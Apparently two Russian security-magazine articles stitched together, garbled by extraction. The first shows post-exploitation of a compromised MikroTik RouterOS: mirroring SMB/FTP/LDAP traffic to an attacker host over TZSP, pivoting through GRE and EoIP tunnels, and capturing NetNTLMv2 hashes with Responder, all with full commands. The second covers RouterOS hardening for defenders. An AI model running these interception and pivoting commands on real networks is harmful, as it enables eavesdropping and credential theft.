у ата кующе го теря ется связ ность с сетью. Решение проб лемы — исполь- 
зовать ERSPAN, который поз воля ет не толь ко зер калиро вать тра фик, но и
отправ лять его куда угод но поверх GRE-инкапсу ляции ( ). Одна ко
ERSPAN дос тупен толь ко на обо рудо вании Cisco и в Linux.

Easy Hack #196

Packet Sniffer

0x88BE

Опи сание этой тех ники от GreenDog

Но я нашел такой же век тор про тив RouterOS. Я буду исполь зовать Packet
Sniffer, который может выпол нять зер калиро вание тра фика с любых
интерфей сов RouterOS. Импакт здесь в том, что ата кующий может прос- 
лушать чувс тви тель ную информа цию, переда ваемую внут ри сети (нап ример,
SMB, FTP, LDAP). Раз вить ата ку мож но отку да угод но: зер калиро ван ный тра- 
фик все рав но смо жет дос тичь хос та ата кующе го, так как исполь зует ся TZSP-
инкапсу ляция, то есть зер калиро ван ный тра фик может переда вать ся поверх
соеди нений L3.

TZSP
TZSP (Tazmen Sniffer Protocol) — сетевой про токол инкапсу ляции, который
может завора чивать в себя дру гие сетевые про токо лы, гру бо говоря —
обрамля ет полез ную наг рузку. Обыч но исполь зует ся в сетях 802.11, может
работать с IDS. TZSP исполь зует для инкапсу ляции про токол UDP, зна чит,
не исклю чены потери. TZSP спо собен инкапсу лиро вать сетевой тра фик,
начиная с уров ня L2, то есть может переда вать Ethernet-фрей мы.

Вот неболь шой при мер инкапсу лиро ван ного FTP-тра фика с TZSP.

FTP-тра фик под TZSP-инкапсу ляци ей

Продолжение статьи →

https://t.me/wearecaster
https://github.com/wearecaster/Cruelty
https://xakep.ru/2023/08/02/caster-remix/
https://xakep.ru/2015/06/21/easy-hack-196/
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Packet Sniffer из RouterOS как раз таки и исполь зует TZSP для инкапсу ляции
полез ной наг рузки. Имен но бла года ря это му зер калиро ван ный тра фик может
переда вать ся поверх L3-соеди нений.

Óãîí òðàôèêà

Для такой ата ки зло умыш ленник дол жен опре делить сле дующие парамет ры:
IP-адрес streaming-сер вера, куда будет пос тупать зер калиро ван ный тра- 
фик;

•

це левые интерфей сы, с которых будет про водить ся зер калиро вание;•
но мер пор та того про токо ла, которым инте ресу ется ата кующий.•

Я для при мера рас смат риваю сце нарий, при котором ата кующий перех- 
ватыва ет тра фик со всех интерфей сов, но толь ко тра фик про токо лов SMB,
FTP, LDAP. При этом, конеч но, желатель но зер калиро вать тра фик, так как,
если зер калиро вать всё под ряд, это может соз дать боль шую наг рузку на сеть
и та может вый ти из строя.

Кон фигура ция Packet Sniffer будет выг лядеть сле дующим обра зом:

[caster@MikroTikNightmare] /tool/sniffer> set streaming-enabled=yes 
filter-stream=yes streaming-server=10.10.100.90 filter-interface=all 
filter-port=ftp,smb,ldap 
[caster@MikroTikNightmare] /tool/sniffer> start 

Здесь 10.10.100.90 — IP-адрес ата кующе го хос та. Тра фик будет зер калиро- 
вать ся со всех интерфей сов, зер калиру ются толь ко SMB, FTP и LDAP.

Схе ма зер калиро вания

Îáðàáîòêà TZSP-çàãîëîâêîâ

Пос ле запус ка сниф фера зер калиру емый тра фик будет пос тупать
на интерфейс ата кующе го хос та, одна ко тра фик необ ходимо обра ботать,
сре зать TZSP-заголов ки, пос коль ку нуж ды в них боль ше нет и они могут дос- 
тавить хло пот.

Для это го есть инс тру мент tzsp2pcap. Он поз воля ет уда лять TZSP-заголов- 
ки и экспор тировать тра фик в фор мате pcap. В дан ном при мере я буду
исполь зовать Wireshark, в котором внед рю получен ный тра фик без заголов- 
ков TZSP:

  - caster@kali:~$ tzsp2pcap -f | wireshark -k -i

Для демонс тра ции я ини цииро вал под клю чение по FTP, что бы про верить
работос пособ ность такого век тора. Итог — на скрин шоте.

Та ким обра зом ата кующий может перех ватывать тра фик внут ри инфраструк- 
туры, при этом не соз давая избы точ ный хоп. Сно ва доволь но спе цифи чес кий
век тор, но он име ет пра во на сущес тво вание.

ROUTEROS PIVOTING

Нас тало вре мя погово рить о пивотин ге сквозь RouterOS. Это век тор пос тэкс- 
плу ата ции, при котором ата кующий может про бить ся внутрь инфраструк туры.

L3 GRE VPN

Один из вари антов для пивотин га — исполь зовать про токол GRE.
Это про токол тун нелиро вания L4, который поз воля ет быс тро орга низо вать

соеди нения site-to-site VPN. Получил извес тность бла года ря тому, что нас тра- 
ивает ся быс тро и очень прос то. Раз работан инже нера ми Cisco Systems,
одна ко под держи вает ся любым вен дором. По умол чанию GRE не пре дос- 
тавля ет фун кций для шиф рования тра фика внут ри тун неля. Поэто му если он
и исполь зует ся в про дак шене, то, ско рее все го, с груп пой про токо лов IPSec.

При пос тэкс плу ата ции RouterOS ата кующий может вос поль зовать ся GRE-
тун нелиро вани ем, что бы попасть внутрь инфраструк туры. Этот сце нарий
работа ет имен но с пог ранич ным мар шру тиза тором.

При мер но так будет выг лядеть кар та пивотин га. Ата кующий дол жен уста- 
новить GRE-тун нель меж ду сво ей нодой и RouterOS, затем на логичес ких
интерфей сах необ ходимо нас тро ить внут ренние IP-адре са для сетевой связ- 
ности. Затем, пос ле перечис ления таб лицы мар шру тиза ции, ата кующий
может соз дать спе циаль ные мар шру ты, ведущие внутрь инфраструк туры,
и при этом шлю зом для таких мар шру тов будет выс тупать дру гая сто рона
GRE-тун неля.

GRE меж ду ата кующим и RouterOS

А это при мер инкапсу лиро ван ной полез ной наг рузки. Здесь ата кующий про- 
водит ICMP-ска ниро вание внут ренней сети 10.10.160.0/24 поверх GRE-тун- 
неля. Тут мож но уви деть GRE-инкапсу ляцию с внут ренним IPv4-заголов ком
ICMP. Одна ко по фак ту здесь при сутс тву ют два заголов ка IPv4. Почему?
Потому что пер вый IPv4-заголо вок с белыми IP-адре сами — это пакет-курь- 
ер. Он поз воля ет дос тичь адре сата, находя щего ся во внут ренней сети. То
есть глав ная задача это го заголов ка в том, что бы полез ная наг рузка из внут- 
ренней сети дош ла до адре сата через интернет. В тер миноло гии GRE такой
заголо вок называ ется Delivery Header. Для каж дого про токо ла-пас сажира
при сутс тву ет спе циаль ный Protocol Type, для IPv4 это зна чение рав но .0x0800

ICMP-ска ниро вание внут ри GRE-тун неля

Нас трой ка на сто роне ата кующе го будет выг лядеть сле дующим обра зом.
Соз дание GRE-интерфей са, нас трой ка адре сов начала и тер миниро вания
тун неля и сама акти вация интерфей са с внут ренней IP-адре саци ей.

ip gre caster@kali:~$ sudo link add name evilgre type local 212.100.
144.150 remote 100.132.55.140
caster@kali:~$ sudo ip addr add 10.10.10.1/24 dev evilgre 

ip caster@kali:~$ sudo link set evilgre up 

Нас трой ка RouterOS тоже не вызыва ет проб лем — тот же прин цип, отли чия
лишь в син такси се:

[pwned@BORDER] > /interface/gre add name=gre1 local-address=100.132.
55.140 remote-address=212.100.144.150 

gre1 [pwned@BORDER] > /ip/address add address=10.10.10.2/24 interface=

Пос ле уста нов ки тун неля ата кующий дол жен соз дать спе циаль ные мар шру ты
сквозь RouterOS, а имен но через 10.10.10.2. В кон тек сте нашего лабора тор- 
ного стен да за пог ранич ным RouterOS находят ся три под сети:

10.10.120.0/24;•
10.10.140.0/24;•
10.10.160.0/24.•

caster@kali:~$ sudo route add -net 10.10.120.0 netmask 255.255.255.0 
gw 10.10.10.2 
caster@kali:~$ sudo route add -net 10.10.140.0 netmask 255.255.255.0 
gw 10.10.10.2 
caster@kali:~$ sudo route add -net 10.10.160.0 netmask 255.255.255.0 
gw 10.10.10.2 

Те перь ата кующий может вза имо дей ство вать с внут ренней инфраструк турой
и рас ширять свое при сутс твие в сети цели. Вот при мер Nmap-ска ниро вания
про тив сети 10.10.140.0/24:

nmap caster@kali:~$ sudo -n 10.10.140.0/24 -vvv

Ре зуль тат ска ниро вания ата кующе го поверх GRE

На самом деле это не пос ледний век тор тун нелиро вания. Есть еще EoIP, он
поз воля ет тран сли ровать Ethernet-фрей мы внут ри GRE, а это век тор для L2-
тун нелиро вания.

L2 EoIP VPN

Это спе цифи чес кий век тор, при котором ата кующий стро ит L2-тун нель сквозь
ском про мети рован ную RouterOS меж ду сво им хос том и находя щей ся по ту
сто рону сетью.

EoIP (Ethernet over IP) — это проп риетар ный про токол MikroTik, поз воля- 
ющий стро ить L2-тун нели поверх интерне та, но для это го исполь зует ся GRE-
инкапсу ляция. По фак ту EoIP — это абсо лют но то же самое, что и GRETAP-
интерфей сы на Linux, раз личия лишь в Proto Type (для EoIP в GRE это зна- 
чение , для GRETAP-тун нелей — ).0x6400 0x6558

При пос тэкс плу ата ции RouterOS ата кующий может пос тро ить L2-тун нель
меж ду собой и целевым брид жем с помощью EoIP, одна ко для работы EoIP
в дис три бути вах Linux нужен модуль . Ата кующе му дос таточ но соз дать
EoIP-интерфейс в RouterOS, затем помес тить его внутрь брид жа (в 90% слу- 
чаях в кон фигура циях RouterOS исполь зуют ся брид жи).

eoip

На сво ей сто роне ата кующе му дос таточ но соб рать модуль из репози тория
и запус тить интерфейс, при этом соз дав TAP-интерфейс для кор рек тной
работы .мо дуля от katlogic

Схе ма тун нелиро вания будет выг лядеть сле дующим обра зом.

Кар та EoIP-тун нелиро вания

Ата кующий из интерне та может ока зать ся в целевой сети на уров не L2, но это
край не спе цифи чес кий сце нарий и име ет пра во на сущес тво вание толь ко
в момент пос тэкс плу ата ции.

Нас трой ки на сто роне ата кующе го выг лядят сле дующим обра зом: соз- 
дает ся TAP-интерфейс, запус кает ся модуль, тун нелю зада ется ID 11.

caster@kali:~$ sudo ip tuntap add mode tap tap0 
ip caster@kali:~$ sudo link set tap0 up 

caster@kali:~/eoip$ sudo ./eoip tap0 100.132.55.100 212.100.144.100:
11 

На сто роне RouterOS иден тичная ситу ация, но при этом нуж но помес тить соз- 
данный EoIP-интерфейс в сущес тву ющий бридж внут ри RouterOS для получе- 
ния L2-дос тупа.

11 
[caster@MikroTikNightmare] /interface/eoip> add name=nightmare local-
address=212.100.144.100 remote-address=100.132.55.100 tunnel-id=
[caster@MikroTikNightmare] /interface/bridge/port> add interface=
nightmare bridge=LAN-BR 

Тун нель EoIP уже уста нов лен, задача ата кующе го — получить адрес на TAP-
интерфей се, пос ле чего он может вза имо дей ство вать с целевой сетью и про- 
водить ата ки каналь ного уров ня. При чем по DHCP может передать ся адрес
шлю за по умол чанию из дру гой сети, а это наруша ет сетевую связ ность, так
что этот мар шрут нуж но будет уда лить:

 tap0  caster@kali:~$ sudo dhclient -v ; sudo route del default 

Те перь ата кующий может про водить L2-ата ки. Вот при мер работы Responder
внут ри EoIP-тун неля:

caster@kali:~$ sudo responder -I tap0 -vvv

Пе рех вачен ный NetNTLMv2-SSP поль зовате ля user

ÂÛÂÎÄÛ

На этом мы закан чива ем рас смот рение атак на сети на осно ве обо рудо вания
MikroTik. Тех ники необыч ные, но могут ока зать ся кста ти в опре делен ных ситу- 
ациях. В сле дующем матери але погово рим о defensive — то есть нас трой ках,
которые пре дот вра тят подоб ные ата ки.

https://github.com/katlogic/eoip
http://github.com/katlogic/eoip
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Ус трой ства MikroTik мож но час то встре тить
в кор поратив ных сетях, одна ко кон фиги
в боль шинс тве слу чаев оставля ют желать
луч шего и откры вают воз можность
для целого ряда атак. В этой статье я рас- 
смот рю основные кон цепции сетевой
безопас ности RouterOS с укло ном в защиту
от спу фин га, обра бот ку тра фика и ата ки
на панели управле ния.

Это ни в коем слу чае не пол ноцен ный ману ал
по безопас ности сетей с MikroTik, и наобо рот —
не все из при веден ных при меров при менишь
на дру гом обо рудо вании.

На деж но защитить сеть получит ся, толь ко если понимать всю ее кар тину
и уметь интегри ровать фун кции безопас ности так, что бы они работа ли кор- 
рек тно и не наруша ли нор маль ную работу. В этом и есть слож ность сетевой
безопас ности. Сети — осно ва любых сов ремен ных орга низа ций, и к работе
с ними нуж но под ходить осто рож но.

ÍÅÈÑÏÎËÜÇÓÅÌÛÅ ÈÍÒÅÐÔÅÉÑÛ

Од но из глав ных пра вил хороше го тона — вык лючать неис поль зуемые
интерфей сы. Это сни жает веро ятность несан кци они рован ного под клю чения.
Соб люсти это пра вило очень прос то:

 
 
[caster@MikroTikDaymare] /interface/ethernet> set etherX disabled=yes 
 

Все при меры я буду демонс три ровать
на RouterOS вер сии 7, пос ледней на момент
написа ния статьи.

DISCOVERY-ÏÐÎÒÎÊÎËÛ

Discovery-про токо лы (DP) уяз вимы к двум offensive-век торам:
 — ата кующий может извлечь чувс тви тель ную

информа цию про тив обо рудо вания, рас сыла юще го DP в свои пор ты;
• Information Gathering

 — ата кующий может выпол нить перепол нение

таб лицы соседей в кон тек сте про токо лов CDP/LLDP, что перег ружа ет про- 
цес сор устрой ства, а это при водит к DoS. Ата ка осно вана на соз дании
лож ных DP-кад ров и мас совой рас сылке с при целом на порт RouterOS.

• Neighbor Table Overflow

Луч шая прак тика — огра ничить работу этих про токо лов, то есть оста вить их
толь ко на тех интерфей сах, где это необ ходимо. Тог да обо рудо вание
не будет лиш ний раз рас простра нять информа цию о себе там, где это не
нуж но.

 
 
[caster@MikroTikDaymare] > /ip/neighbor/discovery-settings/set discover-
interface-list=<your interface list> protocol=cdp,lldp,mndp 
 

ÁÅÇÎÏÀÑÍÎÑÒÜ WINBOX ÍÀ L2

Winbox может работать на уров не L2, то есть сетевой инже нер может обра- 
тить ся к RouterOS, минуя сетевой уро вень. За это отве чает имен но MAC
Winbox Server, поз воля ющий под клю чить ся к Winbox без IP-адре сации.

По умол чанию MAC Winbox Server дос тупен на всех интерфей сах, и это
нехоро шо. Для повыше ния безопас ности рекомен дует ся раз решить исполь- 
зовать его толь ко на опре делен ных интерфей сах.

При мер: я раз решаю MAC Winbox Server толь ко на внут реннем LAN-лис те,
где находит ся LAN-мост для работы внут ри сети.

 
 
[caster@MikroTikDaymare] /tool/mac-server> set allowed-interface-list=
<interface_list> 
 

Раз решай MAC Winbox Server там, где тебе нуж но.

DHCP SNOOPING

DHCP Snooping — это фун кция безопас ности, которая пре дот вра щает ата ку
DHCP Spoong. Ата ка работа ет сле дующим обра зом: зло умыш ленник внут ри
сети под нима ет лож ный DHCP-сер вер для пос леду ющей MITM-ата ки.
По DHCP может переда вать ся адрес шлю за по умол чанию, и этим адре сом
может быть хост ата кующе го.

DHCP Snooping работа ет по прин ципу доверен ных и недове рен ных пор- 
тов. На недове рен ных пор тах будут отсле живать ся все DHCP-сооб щения.
Цель в том, что бы про верить, сге нери рова ны ли они DHCP-сер вером. Ведь
если в поль зователь ском сег менте мы будем видеть сооб щения вро де

,  и , то это однознач но ано малия и в

поль зователь ской сети находит ся DHCP-сер вер. На доверен ных же пор тах
все DHCP-сооб щения будут счи тать ся легитим ными. Обыч но доверен ные
пор ты нас тра ивают ся на соеди нени ях меж ду ком мутато рами и мар шру тиза- 
тора ми, а недове рен ные кон фигури руют ся на пор тах, куда под клю чают ся
конеч ные стан ции (нап ример, компь ютер, прин тер, точ ки дос тупа, VoIP).

DHCPLEASEQUERY DHCPOFFER DHCPACK

Под робнее о защите от спу фин га ты най дешь
в моей статье «

».
Save Me. Защища ем сети от спу- 

финг-атак

В RouterOS DHCP Snooping вклю чает ся имен но на bridge, где все пор ты
устрой ства уже будут счи тать ся недове рен ными. Но что бы перек лючить нуж- 
ный порт, тебе понадо бит ся перехо дить в нас трой ки самого интерфей са.
DHCP Snooping тре бует вдум чивой нас трой ки, в ходе которой нуж но будет
отталки вать ся от осо бен ностей инфраструк туры.

В DHCP Snooping может исполь зовать ся Option
82. Это воз можность про токо ла DHCP, которая
при меня ется для опо веще ния сер вера DHCP
о том, с какого пор та пос тупил DHCP-зап рос. Так- 
же переда ется информа ция об исполь зовании
DHCP Relay. Некото рые спе цифи чес кие сце нарии
тре буют Option 82, так что при необ ходимос ти
вклю чай ее. На сай те MikroTik есть 
о нас трой ке Snooping, где учтен сце нарий
с исполь зовани ем «Опции 82».

стра ница

Вклю чаем DHCP Snooping на bridge:

 
 
[caster@MikroTikDaymare] > /interface/bridge/set dhcp-snooping=yes <your 
bridge name> 
 

Наз нача ем доверен ный порт в кон тек сте DHCP Snooping:

 
 
[caster@MikroTikDaymare] /interface/bridge/port> set trusted=yes 
interface=<interface> bridge=<your bridge name> numbers=<interface 
number on bridge> 
 

На этом кон фигура ция DHCP Snooping завер шена, на недове рен ных пор тах
будут отсе кать ся слу жеб ные DHCP-сооб щения, которые обыч но исполь зуют- 
ся имен но DHCP-сер вером. Пос коль ку при ата ке зло умыш ленник дол жен
навязать свой адрес в качес тве шлю за сооб щени ем , эти нас трой- 

ки помога ют пол ностью пре дот вра тить ее. Одна ко будь осто рожен с нас трой- 
ками, что бы не выз вать неп редна мерен ный DoS.

DHCPOFFER

ÍÀÑÒÐÎÉÊÀ ÔÀÉÐÂÎËÀ

Firewall в RouterOS — это под систе ма, которая отве чает за обра бот ку и филь- 
тра цию всех пакетов. К нас трой ке фай рво ла, на мой взгляд, дол жно быть осо- 
бое отно шение, потому что от нее зависит и про изво дитель ность устрой ства,
и уро вень безопас ности.

Мы не будем здесь под робно рас смат ривать все воз можнос ти фай рво ла
в RouterOS. Их мно го, и они могут быть край не полез ными и мощ ными. Но им
пос вящено мно жес тво ста тей и спра воч ных тек стов. На «Хакере», к при меру,
можешь почитать статьи «

» и «
».

Сте на огня. Учим ся нас тра ивать фай рвол на при- 
мере MikroTik Сте на огня lvl2. Нас тра иваем фай рвол для отра жения атак
на при мере MikroTik

Мы же оста новим ся толь ко на важ ных момен тах, свя зан ных с защитой
от прод винутых атак.

Êîððåêòíàÿ îáðàáîòêà òðàôèêà
В RouterOS мар шру тизи рует ся весь тра фик: исполь зует ся кон цепция «раз- 
решено всё, что не зап рещено». Тра фик обра баты вает ся свер ху вниз по пра- 
вилам. Луч шей прак тикой счи тает ся уста нав ливать в начале нас тро ек фай- 
рво ла пра вила в цепоч ках INPUT/Forward, которые раз реша ют соеди нения
Established/Related и отбра сыва ют соеди нения Invalid. Кста ти говоря, имен но
бла года ря механиз му Connection Tracking дос тига ется отсле жива ние соеди- 
нений по их сос тоянию.

[caster@MikroTikDaymare] /ip/firewall/filter> add chain=input action=
accept connection-state=established,related log=no log-prefix=""
[caster@MikroTikDaymare] /ip/firewall/filter> add chain=input action=
drop connection-state=invalid log=no log-prefix=""
[caster@MikroTikDaymare] /ip/firewall/filter> add chain=forward 
action=accept connection-state=established,related log=no log-prefix=
""
[caster@MikroTikDaymare] /ip/firewall/filter> add chain=forward 
action=drop connection-state=invalid log=no log-prefix=""

Àêêóðàòíàÿ ðàáîòà ñ ICMP
Так же сто ит раз решить работу про токо ла ICMP и при этом с неболь шим огра- 
ниче нием на чис ло пакетов в секун ду, что бы избе жать потен циаль ного DDoS
по про токо лу ICMP. Час то весь тра фик ICMP бло киру ют на внеш нем перимет- 
ре, одна ко это может пов лиять на работу PMTUD, который помога ет бороть ся
с избы точ ной фраг мента цией при нес тандар тных зна чени ях MTU.

 
 
[caster@MikroTikDaymare] /ip/firewall/filter> add chain=input 
action=accept protocol=icmp in-interface-list=<WAN_Interface> 
limit=50/5s,2:packet log=no log-prefix="" 
 

TTL Shift
Ес ли твое обо рудо вание выс тупа ет прок си-сер вером и есть необ ходимость
скрыть его IP-адрес из трас сиров ки, то нуж но в таб лице Mangle в цепоч ке
PREROUTING сме щать TTL с инкре мен том +1:

 
 
[caster@MikroTikDaymare] /ip/firewall/mangle> add chain=prerouting 
action=change-ttl new-ttl=increment:1 passthrough=yes in-interface=
<internal_interface_for_ttl_shift> log=no log-prefix="" 
 

Ðèñê DNS-ôëóäà
Сле ди за тем, что бы наружу не тор чал порт про токо ла DNS, на который может
при лететь потен циаль ный DDoS. Неред ко слу чает ся так, что имен но по DNS
при ходит DDoS-ата ка на MikroTik. Очень час то быва ет, что в нас трой ках DNS
на MikroTik сто ит галоч ка Allow Remote Requests, которая поз воля ет RouterOS
быть DNS-сер вером. Обыч но это встре чает ся для внут ренней инфраструк- 
туры, но порт может тор чать и на внеш нем интерфей се, смот рящем в сто рону
интерне та.

Drop All Other
В кон це спис ка пра вил фай рво ла всег да дол жен сто ять зап рет Drop All Other
для внеш него интерфей са RouterOS (того, который смот рит имен но в сто рону
интерне та; RouterOS не раз лича ет внут ренние и внеш ние интерфей сы). Оно
будет зап рещать все нераз решен ные под клю чения к мар шру тиза тору, одна ко
позаботь ся о том, что бы свер ху были все необ ходимые пра вила для тво их
про токо лов, тог да финаль ное пра вило не будет нарушать сетевую связ ность.
Пра вило Drop All Other дол жно идти в кон це спис ка пра вил абсо лют но любого
фай рво ла.

 
 
[caster@MikroTikDaymare] /ip/firewall/filter> add chain=input 
action=drop in-interface=<WAN_Interface> log=no log-prefix=""
 

ÄÈÍÀÌÈ×ÅÑÊÀß ÌÀÐØÐÓÒÈÇÀÖÈß

Бе зопас ность про токо лов динами чес кой мар шру тиза ции (Dynamic Routing
Protocols, DRP) име ет осо бое зна чение, пос коль ку малей шее воз дей ствие
на AS час тично парали зует внут реннюю сеть. К тому же на домен динами чес- 
кой мар шру тиза ции воз можны раз личные ата ки, к которым нуж но быть
готовым. Даль ше речь пой дет о безопас ности имен но про токо ла OSPF (Open
Shortest Path First), который под держи вает ся RouterOS.

Ïàññèâíûå èíòåðôåéñû
Нас трой ка пас сивных интерфей сов для динами чес кой мар шру тиза ции поз- 
воля ет роуте ру зап ретить рас сылать объ явле ния через некото рые интерфей- 
сы. По умол чанию без нас трой ки пас сивных интерфей сов он рас сыла ет объ- 
явле ния во все интерфей сы, а это под верга ет домен мар шру тиза ции боль-
шому рис ку.

Ни же параметр  ука зыва ет на пас сивный интерфейс.passive

 
 
[caster@MikroTikDaymare] /routing/ospf/interface-template> add 
interfaces=<interface> passive area=backbone 
 

Êðèïòîãðàôè÷åñêàÿ àóòåíòèôèêàöèÿ
При мене ние аутен тифика ции в доменах мар шру тиза ции поз воля ет сде лать
так, что бы под клю чать ся к ним мог ли толь ко авто ризо ван ные мар шру тиза- 
торы. Одна ко аутен тифика ция нас тра ивает ся с помощью паролей. Так что
обя затель но нуж но позабо тить ся о том, что бы эти пароли были дос таточ но
стой кими. Если зло умыш ленник получит зна чение хеша из дам па тра фика, то
он может попытать ся вскрыть пароль перебо ром. А с паролем он уже без тру- 
да под клю чит ся к домену мар шру тиза ции.

Нас трой ка ниже исполь зует SHA-384. Кста ти говоря, Ettercap смо жет
выдер нуть любой MD5/SHA-хеш, что даст ата кующе му воз можность поп- 
робовать сбру тить пароль от домена OSPF. Опять же сле ди за стой костью
пароль ной фра зы.

 
 
[caster@MikroTikDaymare] /routing/ospf/interface-template> set 
auth=sha384 auth-key=<auth_key> auth-id=<auth_id> numbers=X 
 

ÁÅÇÎÏÀÑÍÎÑÒÜ ÑÈÑÒÅÌÛ ÐÅÇÅÐÂÈÐÎÂÀÍÈß VRRP

Бе зопас ность сис темы горяче го резер вирова ния VRRP может быть под угро- 
зой, так как ата кующий может про вес ти FHRP Master-спу финг и MITM-ата ку.
Вви ду осо бен ностей работы VRRP здесь невоз можно уста новить при ори- 
тет 255, поэто му при дет ся дей ство вать более жес тко. Есть два дей ствен ных
спо соба.

Спо соб пер вый — крип тогра фичес кая аутен тифика ция. Она защища ет
домен VRRP с помощью спе циаль ной пароль ной фра зы, не зная которую ата- 
кующий не про ведет спу финг. Опять же нуж но позабо тить ся, что бы ключ
аутен тифика ции был устой чив к брут форсу. В RouterOS для защиты VRRP
исполь зует ся про токол из репер туара IPSec — AH. Уточ нив у раз работ чиков
RouterOS, я узнал, что его реали зация в RouterOS осно вана на HMAC-MD5.

 
 
[caster@MikroTikDaymare] /interface/vrrp> add interface=<interface> 
priority=<priority_value> version=2 vrid=<group_id_number> 
authentication=ah password

 

 
 

Вто рой спо соб — филь тра ция средс тва ми фай рво ла. Для VRRPv3 аутен- 
тифика ция боль ше не под держи вает ся, одна ко с этим нуж но тоже что-то
делать. С помощью таб лиц  и  мож но заранее раз решить VRRP

с легитим ных VRRP-мар шру тиза торов, а затем бло киро вать осталь ные VRRP-
пакеты. Этот вари ант даст наимень шую наг рузку на про цес сор. Получит ся,
что в раз реша емых пра вилах нет адре са ата кующе го хос та, поэто му любые
его попыт ки про вес ти ата ку на домен VRRP будут тщет ны.

Mangle Raw

 
 
[caster@MikroTikDaymare] /ip/firewall/mangle> add chain=prerouting 
action=accept protocol=vrrp src-address=<first_vrrp_speaker_ip> in-
interface=<interface> log=no log-prefix="" 
 
[caster@MikroTikDaymare] /ip/firewall/mangle> add chain=prerouting 
action=accept protocol=vrrp src-address=<second_vrrp_speaker_ip> in-
interface=<interface> log=no log-prefix="" 
 
[caster@MikroTikDaymare] /ip/firewall/raw> add chain=prerouting 
action=drop in-interface=<interface> log=no log-prefix="" protocol=vrrp 
 

Ïðîáëåìà ïñåâäîáàëàíñèðîâêè
VRRP, конеч но, обес печива ет отка зоус той чивость, одна ко по фак ту в логичес- 
кой груп пе работа ет толь ко один мар шру тиза тор, ког да осталь ные пре быва- 
ют в режиме ожи дания.

Ес ли в тво ей сети нес коль ко устрой ств с RouterOS и нес коль ко сег ментов
VLAN, ты можешь задей ство вать все RouterOS в тво ей сети, нап ример:

RouterOS1 будет  за VLAN 120 и VLAN 140, а за VLAN 180 и VLAN
220 он будет ;

• MASTER

BACKUP

RouterOS2 будет  за VLAN 180 и VLAN 220, за VLAN 120 и VLAN
140 он будет . То есть кон фигура ция зер каль на RouterOS1.

• MASTER

BACKUP

Этот при ем называ ется псев добалан сиров кой. Конеч но, тут нет того же round
robin, но хотя бы все роуте ры в домене VRRP будут работать. Для  —

при ори тет 200, для  — 90. Циф ры и VLAN ID я взял из головы
для симуля ции такого сце нария.

MASTER
BACKUP

Нас тра иваем RouterOS1:

 
 
 
[caster@RouterOS1] /interface/vrrp> add interface=vlan120 name=vrrp120 
priority=254 vrid=120 
 
 
[caster@RouterOS1] /interface/vrrp> add interface=vlan140 name=vrrp140 
priority=254 vrid=140 
 
 
[caster@RouterOS1] /interface/vrrp> add interface=vlan180 name=vrrp180 
preemption-mode=no priority=90 vrid=180 
 
 
[caster@RouterOS1] /interface/vrrp> add interface=vlan220 name=vrrp220 
preemption-mode=no priority=90 vrid=220 
 
 

И RouterOS2:

 
 
 
[caster@RouterOS2] /interface/vrrp> add interface=vlan120 name=vrrp120 
preemption-mode=no priority=90 vrid=120 
 
 
[caster@RouterOS2] /interface/vrrp> add interface=vlan140 name=vrrp140 
preemption-mode=no priority=90 vrid=140 
 
 
[caster@RouterOS2] /interface/vrrp> add interface=vlan180 name=vrrp180 
priority=254 vrid=180 
 
 
[caster@RouterOS2] /interface/vrrp> add interface=vlan220 name=vrrp220 
priority=254 vrid=220 
 
 

Та ким обра зом воз ника ет псев добалан сиров ка. Два RouterOS нас тро ены
зер каль но, они оба готовы к замене вышед шего из строя MASTER-роуте ра.
При этом задей ству ются все мощ ности внут ри сег мента, вто рос тепен ное
обо рудо вание не будет прос таивать. Так же учи тывай, что в RouterOS
PREEMPT-режим вклю чен по умол чанию, он поз воля ет упав шему ранее
MASTER-роуте ру вер нуть себе эту роль, ког да его заменил один из BACKUP-
роуте ров. Для бэкап-роуте ров, соот ветс твен но, PREEMPT вык люча ется

ÁÅÇÎÏÀÑÍÎÑÒÜ ÄÅÐÅÂÀ STP

STP (Spanning Tree Protocol) — это L2-про токол, защища ющий компь ютер ную
сеть от широко веща тель ных штор мов путем бло киров ки избы точ ных
физичес ких соеди нений. Дело в том, что у Ethernet-кад ров нет поля TTL,
и широко веща тель ный тра фик будет бес конеч но бегать по каналь ным соеди- 
нени ям, если воз никнет ком мутаци онная пет ля. Про токол работа ет исклю- 
читель но на каналь ном уров не, и для обще ния исполь зуют ся фрей мы BPDU
802.3. Обыч но на управля емых ком мутато рах STP вклю чен по умол чанию.

Од нако ата кующий может отпра вить в сто рону ком мутато ра STP BPDU-
кадр с наимень шим зна чени ем при ори тета, что даст ему шанс перех ватить
роль кор невого ком мутато ра. Такой ход событий при водит либо к час тичной
MITM-ата ке, либо к DoS.

За щитить ся от спу фин га в дереве STP мож но при помощи BPDU Guard.
Этот механизм будет бло киро вать порт, если на него при дет BPDU-кадр,
который обыч но исполь зует ся толь ко для сог ласова ния меж ду ком мутато- 
рами в домене STP. Имен но бла года ря рас сылке BPDU с наимень шим зна- 
чени ем при ори тета ата кующий может перех ватить роль кор невого ком- 
мутато ра, тем самым осу щес твив час тичную MITM-ата ку.

BPDU Guard нас тра ивает ся имен но на пор тах, которые находят ся под мос- 
том.

 
 
[caster@MikroTikDaymare] /interface/bridge/port> set bpdu-guard=yes 
interface=<interface> bridge=<bridge> numbers=X 
 

Вот и вся нас трой ка. BPDU Guard в этом пла не не дос тавля ет хло пот.

Îñòîðîæíîñòü ïðè âûáîðå STP Root
Кор невым ком мутато ром STP обыч но ста новит ся ком мутатор с наимень шим
MAC-адре сом. Ты дол жен учи тывать этот аспект, потому что, если кор невым
ком мутато ром ста нет какой-нибудь ста рый D-Link, это может ска зать ся
на про изво дитель нос ти сети. Так же быва ют слу чаи, ког да по STP бло киру ются
лин ки, иду щие в сто рону мар шру тиза торов FHRP Master, тог да тра фик может
начать идти не по опти маль ному пути. Нас тра ивай ком мутатор STP Root (и
STP Root Secondary) с уче том осо бен ностей инфраструк туры.

ÁÅÇÎÏÀÑÍÎÑÒÜ ÏÀÍÅËÈ ÓÏÐÀÂËÅÍÈß (MGMT)

Çàùèòà RMI
MGMT — это спе циаль ные интерфей сы управле ния, которые поз воля ют нас- 
тра ивать устрой ство. В RouterOS для это го исполь зуют ся сле дующие служ бы:

Telnet (TCP/23);•
API (TCP/8728);•
API-SSL (TCP/8729);•
SSH (TCP/22);•
HTTP (TCP/80);•
HTTPS (TCP/443);•
Winbox (TCP/8291).•

Для панелей управле ния необ ходимо уста новить огра ниче ние: дос туп толь ко
из адми нис тра тор ской под сети. Это поз воля ет пре дот вра тить попыт ки брут- 
форса учет ных дан ных из осталь ных под сетей, так как все под клю чения
из дру гих сетей будут отбро шены.

 
 
